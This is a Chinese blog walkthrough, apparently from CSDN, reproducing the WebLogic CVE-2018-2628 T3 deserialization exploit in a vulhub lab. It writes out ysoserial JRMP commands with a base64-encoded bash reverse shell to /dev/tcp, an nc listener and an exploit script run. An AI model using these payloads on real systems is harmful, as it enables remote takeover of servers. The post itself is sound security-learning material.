weblogic CVE-2018-2628复现

一、写在前面

今天早早得回来了,马上就想找个漏洞复现一下,我说的复现只是指利用罢了!!这java随便爆个漏洞出来也是我这小白看不懂的!!也没法去追究原理,现在做的就是能够用就好了!!首先我找了一个cve-2015-4852的漏洞,看着看着我就蒙了,我要利用,大佬直接开始给我讲原理,能不懵吗?但这不能吓退我,于是我开始准备搭环境,a few years later!!!我放弃了,这环境我是搭不出来了,浪费了我快一个小时!!我决定漏洞复现,最好有一键搭环境的哪种,所以我找了个vulnhub里面的weblogc漏洞完整得走了一遍,其中也踩了一些坑,不过有惊无险,算是成功地利用了!!完事之后,心情有一丢丢低落,因为面对java这座大山我有点无力啊!!然后我就想去煮碗面吃了然后开始写文章,饭吃了后,我想先打把王者压压惊吧!!然后对面那个百里一直在哪逼逼叨,我刚入场就说我小鲁班走位飘逸,让我让着他!!我都懒得理他,后面这货就没有停过,几乎把我们队伍嘲讽了个遍!!!不过还是没人理他!!他们能赢也就靠韩信,我吐了!!!!这输得也太憋屈了!!!!
书接上回,言归正传!!!!

二、漏洞基本情况

CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。
这个T3协议很迷啊!!我看很对weblogic漏洞都是利用的这个协议!!!你说你这都打了补丁了,还能有漏洞也是个机智啊!!

三、环境准备

我们需要三台主机,一台攻击机,一台靶机,一台服务器,以下均这么称呼,我这里偷了下懒在一台机器上面复现了!!
ip:192.168.248.190

3.1 靶机准备

不说了,直接从gihub上面把vulnhun克隆下来

git clone https://github.com/vulhub/vulhub

这玩意会下载到当前目录
然后在目录里找到该漏洞
在这里插入图片描述
然后执行

docker-compose up -d

docker-compose没安装的可以去看我之前的文章
然后漏洞环境就跑起来了
在这里插入图片描述
现在就可以用浏览器访问了

http://yourip:7001/console

3.2 java安装

我开始是用windows当攻击机的,结果各种水土不服,又是安装java 1.8 又是安装python 2.7,我发现这些工具用最新的也不好,就经常出各种问题,所以说还是要用普及面最广的!!!

  • 安装jdk包
yum install java-1.8.0-openjdk

-我们cd到java的安装目录里去看看

cd /usr/lib/jvm/java-1.8.0-openjdk

在这里插入图片描述
这个时候是没有jre的,我们还需要安装jre

  • 安装jre

yum install java-1.8.0-openjdk-devel.x86_64

然后就可以看到jre了,上面那张图已经有了就不放新图了

-配置环境变量
直接执行

vim /etc/profile

添加下面的内容

    69	export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.el7_9.x86_64
    70	export JRE_HOME=$JAVA_HOME/jre
    71	export CLASSPATH=$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH
    72	export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH

JAVA_HOME的值是你jdk的数据包的位置,可别照着我的抄,其他的照着抄就好了
然后执行

source /etc/profile

好了现在java的环境就配置好了

四、复现及利用过程

漏洞利用工具包我已经帮你们搬运好了
weblogic CVE-2018-2628 利用工具包
首先我们执行下面命令看看T3协议开没开

nmap -n -v -p7001,7002 192.168.248.190 --script=weblogic-t3-info

在这里插入图片描述
运气不错,开着的!!!

然后我们将靶机的 ip:port 放入同目录下的url.txt文件中
在这里插入图片描述
像这样子的!!!!190主机就是我的靶机
然后我们执行下面命令进行漏洞检测

python CVE-2018-2628-MultiThreading.py

在这里插入图片描述
看到没有,存在漏洞!!!
然后我们在我们的服务器上运行一个JRMP,这是个啥我也说不清楚,不过他的作用就是一台存放payload的服务器,当我们攻击了存在漏洞的靶机后,靶机会到这台JRMP服务器去找这个payload
执行命令

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'

9999是我们JRMP服务器监听的端口,随便填一个!
我们的payload是bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i},这是什么呢?
其实就是bash -i >& /dev/tcp/192.168.248.190/7777 0>&1 为什么要写的这么奇形怪状呢?貌似是因为上面那玩意儿不支持管道符!!!记得替换ip与port
这里有一个网站可以很方便地转换

http://www.jackson-t.ca/runtime-exec-payloads.html

在这里插入图片描述
记得上面那条命令要在我们的payload服务器里面执行!!!
在这里插入图片描述
当出现上图字样的时候,表明命令执行成功
ysoserial-0.1-cve-2018-2628-all.jar这个就在我们的工具包里面
在这里插入图片描述
然后我们在攻击机里面执行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.248.190:9999 | xxd -p | tr -d $'\n' && echo

命令里的ip与端口号,改成你JRMP服务器的ip与端口号
然后我们看到生成了一段数字

在这里插入图片描述
复制这串数字到weblogic_poc.py里面将下图payload部分替换
在这里插入图片描述
第19行!!!
然后继续替换
在这里插入图片描述
dip替换为靶机的ip地址!!!
然后我们在我们的攻击机上监听一下反弹shell的接受端口

nc -lvp 7777

然后换个终端执行

python weblogic_poc.py

在这里插入图片描述
这里会显示payload请求成功
然后我们就可以在我们的监听端口看到
在这里插入图片描述
反弹shell成功!!!

  • 5
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值